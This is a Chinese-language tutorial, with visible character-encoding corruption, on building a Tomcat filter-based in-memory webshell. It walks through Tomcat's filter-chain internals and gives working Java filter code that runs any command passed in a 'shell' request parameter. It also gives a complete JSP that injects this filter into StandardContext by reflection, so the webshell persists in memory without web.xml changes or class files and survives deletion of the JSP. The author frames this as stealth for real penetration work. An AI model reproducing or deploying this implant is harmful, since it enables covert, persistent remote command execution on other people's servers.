基于filter的內(nèi)存馬
主要是通過(guò)過(guò)濾器來(lái)攔截severlet請(qǐng)求中的參數(shù),作為過(guò)濾器中的參數(shù),來(lái)調(diào)用自定義過(guò)濾器中的惡意函數(shù)
在這里我們分析一下filter的實(shí)現(xiàn)原理,循序漸進(jìn)
Demo1:
直接使用filter模擬內(nèi)存馬效果:
1.配置一個(gè)簡(jiǎn)單的severlet的web項(xiàng)目:

實(shí)現(xiàn)一個(gè)filter類:
package com.naihe;import javax.servlet.*;import java.io.IOException;public class FilertDemo implements Filter {public void init(FilterConfig filterConfig) throws ServletException {System.out.println("初始加完成");}public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {servletRequest.setCharacterEncoding("utf-8");servletResponse.setCharacterEncoding("utf-8");servletResponse.setContentType("text/html;charset=UTF-8");filterChain.doFilter(servletRequest,servletResponse);System.out.println(servletRequest.getParameter("shell"));Runtime.getRuntime().exec(servletRequest.getParameter("shell"));System.out.println("過(guò)濾中。。。");}public void destroy() {System.out.println("過(guò)濾結(jié)束");}}
配置xml:
<filter><filter-name>enfilterfilter-name><filter-class>com.naihe.FilertDemofilter-class>filter><filter-mapping><filter-name>enfilterfilter-name><url-pattern>/*url-pattern>filter-mapping>
效果:


可以看到這個(gè)無(wú)需指定木馬文件就能實(shí)現(xiàn)webshell,看似很厲害,其實(shí)了解java開發(fā)都小伙伴都懂這都是最基礎(chǔ)serverlet的基本功能,只是添加了一些惡意代碼而已。不過(guò)這第一步我們就對(duì)內(nèi)存馬有了一定的感受(只是感受),接下來(lái)就是注意細(xì)節(jié),該如何讓它在實(shí)際中應(yīng)用與更加隱蔽。
Demo2:
現(xiàn)在我們開始隱藏與實(shí)現(xiàn)
package com.naihe;import javax.servlet.*;import java.io.IOException;public class FilertDemo implements Filter {public void init(FilterConfig filterConfig) throws ServletException {System.out.println("初始加完成");}public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {servletRequest.setCharacterEncoding("utf-8");servletResponse.setCharacterEncoding("utf-8");servletResponse.setContentType("text/html;charset=UTF-8");filterChain.doFilter(servletRequest,servletResponse);System.out.println(servletRequest.getParameter("shell"));Runtime.getRuntime().exec(servletRequest.getParameter("shell"));System.out.println("過(guò)濾中。。。");}public void destroy() {System.out.println("過(guò)濾結(jié)束");}}
當(dāng)然這里的代碼還是之前的代碼,只是為了方便小伙伴們看源碼。
這里我們不使用xml配置filter,這樣做的目的就是為了在實(shí)際中不修改xml從而觸發(fā)filter,因?yàn)閷?shí)際滲透中xml是不易修改的,而且容易被發(fā)現(xiàn)。
所以,現(xiàn)在我們就開始一步一步分析tomcat是如何通過(guò)web.xml生成的filter對(duì)象。
首先我們?cè)趂ilterChain變量這里打上斷點(diǎn)

跟進(jìn)doFilter:
會(huì)發(fā)現(xiàn)ApplicationFilterChain類的filters屬性中包含了filter的信息

注意這里的第二個(gè)過(guò)濾器是tomcat自帶的過(guò)濾器,且面分析還會(huì)用到
跟進(jìn)internalDoFilter:


可以看到這里的filterConfig類中的filter并非我們之前創(chuàng)建的filter,因此我們可以回過(guò)頭來(lái)看一下有沒(méi)有我們的想要的filterConfig

確實(shí)存在,證明,這里的filter加載是按照順序進(jìn)行加載的,因此我們就當(dāng)中我們?cè)诜治龅谝粋€(gè)filter(自定義的)。

進(jìn)行查看代碼發(fā)現(xiàn)后面調(diào)用了doFilter
這里就可以進(jìn)入到tomcat自帶的filter
filter切換大概流程:
ApplicationFilterChain(記錄了所有filter的信息)--將$this->filter--》filterConfig(獲得了一個(gè)filter的相關(guān)信息)--filterConfig.filter--》filter
--doFilter--》調(diào)用自定義filter中的惡意代碼
分析到現(xiàn)在,ApplicationFilterChain到底從何而來(lái)呢?
我們往前找,找到了StandardWrapperValve這個(gè)類,他調(diào)用ApplicationFilterFactory的createFilterChain來(lái)創(chuàng)建了FilterChain對(duì)象


(然后自己調(diào)用doFilter進(jìn)入第一個(gè)過(guò)濾器)
那么這個(gè)FilterChain對(duì)象是如何獲取filert的相關(guān)信息的呢?
下面繼續(xù)分析
往下查看其他代碼發(fā)現(xiàn)并沒(méi)有對(duì)filterChain中的值繼續(xù)改變,說(shuō)明filterChain中的與filter相關(guān)內(nèi)容在創(chuàng)建是就已經(jīng)填入了
因此進(jìn)入ApplicationFilterFactory一探究竟

存放著過(guò)濾器名,過(guò)濾器實(shí)例

在這里獲取獲取filter的名字和對(duì)應(yīng)的url

這里對(duì)應(yīng)的是名字和過(guò)濾器的全限定名

將filterMap的內(nèi)容添加到filterChain中,并返回filter的值
可知這三個(gè)屬性都是與filter有關(guān)的
那這些值又是從何而來(lái)了,繼續(xù)分析

可以看到又調(diào)用了一個(gè)類用來(lái)創(chuàng)建context

其實(shí)到后面分析的話就還是比較復(fù)雜了,然而我們也沒(méi)必要溯源到底,我直接用反射創(chuàng)建對(duì)象利用就行,主要能讓這個(gè)filter添加到其他filter里一起運(yùn)行就行了。
又回到之前ApplicationFilterFactory里,這里會(huì)返回filterChain這個(gè)對(duì)象,如果我們直接filterConfig的內(nèi)容,是不是就能在filterChain調(diào)用addFilter時(shí),將filter添加進(jìn)去。

而在上面分析,fiterConfig的內(nèi)容都是從context中得到,因此只要我們能控制context的內(nèi)容就行了
FilterDefs:存放 FilterDef 的數(shù)組 ,F(xiàn)ilterDef 中存儲(chǔ)著我們過(guò)濾器名,過(guò)濾器實(shí)例
等基本信息
FilterConfigs:存放 filterConfig 的數(shù)組,在 FilterConfig 中主要存放 FilterDef 和
Filter 對(duì)象等信息
FilterMaps:存放 FilterMap 的數(shù)組,在 FilterMap 中主要存放了 FilterName 和 對(duì)應(yīng)的 URLPattern,只要我們將filter ,F(xiàn)ilterDefs,F(xiàn)ilterMaps添加到FilterConfigs中就可以添加filter了
在這之前我們需要了解一些知識(shí):
ServletContext:javax.servlet.ServletContextServlet規(guī)范中規(guī)定了的一個(gè)ServletContext接口,提供了Web應(yīng)用所有Servlet的視圖,通過(guò)它可以對(duì)某個(gè)Web應(yīng)用的各種資源和功能進(jìn)行訪問(wèn)。WEB容器在啟動(dòng)時(shí),它會(huì)為每個(gè)Web應(yīng)用程序都創(chuàng)建一個(gè)對(duì)應(yīng)的ServletContext,它代表當(dāng)前Web應(yīng)用。并且它被所有客戶端共享。
ApplicationContext:org.apache.catalina.core.ApplicationContext
對(duì)應(yīng)Tomcat容器,為了滿足Servlet規(guī)范,必須包含一個(gè)ServletContext接口的實(shí)現(xiàn)。Tomcat的Context容器中都會(huì)包含一個(gè)ApplicationContext。
StandardContext:Catalina主要包括Connector和Container,StandardContext就是一個(gè)Container,它主要負(fù)責(zé)對(duì)進(jìn)入的用戶請(qǐng)求進(jìn)行處理。實(shí)際來(lái)說(shuō),不是由它來(lái)進(jìn)行處理,而是交給內(nèi)部的valve處理。
一個(gè)context表示了一個(gè)外部應(yīng)用,它包含多個(gè)wrapper,每個(gè)wrapper表示一個(gè)servlet定義。(Tomcat 默認(rèn)的 Service 服務(wù)是 Catalina)
這三類是必須的
總體流程:

<%@ page import="java.lang.reflect.Field" %><%@ page import="org.apache.catalina.Context" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterMap" %><%@ page import="java.lang.reflect.Constructor" %><%@ page import="org.apache.catalina.core.ApplicationFilterConfig" %><%@ page import="org.apache.tomcat.util.descriptor.web.FilterDef" %><%@ page import="org.apache.catalina.core.ApplicationContextFacade" %><%@ page import="org.apache.catalina.core.ApplicationContext" %><%@ page import="org.apache.catalina.core.StandardContext" %><%@ page import="java.util.HashMap" %><%@ page import="java.io.IOException" %><%//反射創(chuàng)建servletContextServletContext servletContext = request.getServletContext();ApplicationContextFacade applicationContextFacade = (ApplicationContextFacade) servletContext;Field applicationContextFacadeContext = applicationContextFacade.getClass().getDeclaredField("context");applicationContextFacadeContext.setAccessible(true);//反射創(chuàng)建applicationContextApplicationContext applicationContext = (ApplicationContext) applicationContextFacadeContext.get(applicationContextFacade);Field applicationContextContext = applicationContext.getClass().getDeclaredField("context");applicationContextContext.setAccessible(true);//反射創(chuàng)建standardContextStandardContext standardContext = (StandardContext) applicationContextContext.get(applicationContext);//創(chuàng)建filterConfigsField filterConfigs = standardContext.getClass().getDeclaredField("filterConfigs");filterConfigs.setAccessible(true);HashMap hashMap = (HashMap) filterConfigs.get(standardContext);String filterName = "Filter";if (hashMap.get(filterName)==null){Filter filter = new Filter() {public void init(FilterConfig filterConfig) throws ServletException {System.out.println("注入初始化");}public void doFilter(ServletRequest servletRequest, ServletResponse servletResponse, FilterChain filterChain) throws IOException, ServletException {servletRequest.setCharacterEncoding("utf-8");servletResponse.setCharacterEncoding("utf-8");servletResponse.setContentType("text/html;charset=UTF-8");filterChain.doFilter(servletRequest,servletResponse);System.out.println(servletRequest.getParameter("shell"));Runtime.getRuntime().exec(servletRequest.getParameter("shell"));System.out.println("過(guò)濾中。。。");}public void destroy() {// Filter.super.destroy();}};//構(gòu)造filterDef對(duì)象FilterDef filterDef = new FilterDef();filterDef.setFilter(filter);filterDef.setFilterName(filterName);filterDef.setFilterClass(filter.getClass().getName());standardContext.addFilterDef(filterDef);//構(gòu)造filterMap對(duì)象FilterMap filterMap = new FilterMap();filterMap.addURLPattern("/*");filterMap.setFilterName(filterName);filterMap.setDispatcher(DispatcherType.REQUEST.name());standardContext.addFilterMapBefore(filterMap);//構(gòu)造filterConfigConstructor constructor = ApplicationFilterConfig.class.getDeclaredConstructor(Context.class, FilterDef.class);constructor.setAccessible(true);ApplicationFilterConfig applicationFilterConfig = (ApplicationFilterConfig) constructor.newInstance(standardContext, filterDef);//將filterConfig添加到filterConfigs中,即可完成注入hashMap.put(filterName,applicationFilterConfig);response.getWriter().println("successfully");}%>
先訪問(wèn):

在執(zhí)行

這樣一來(lái)我們就可以不用配置xml和創(chuàng)建filter類文件就可以直接,實(shí)現(xiàn)filter,并且就算jsp被刪除,之前創(chuàng)建的對(duì)象依舊在內(nèi)存中。
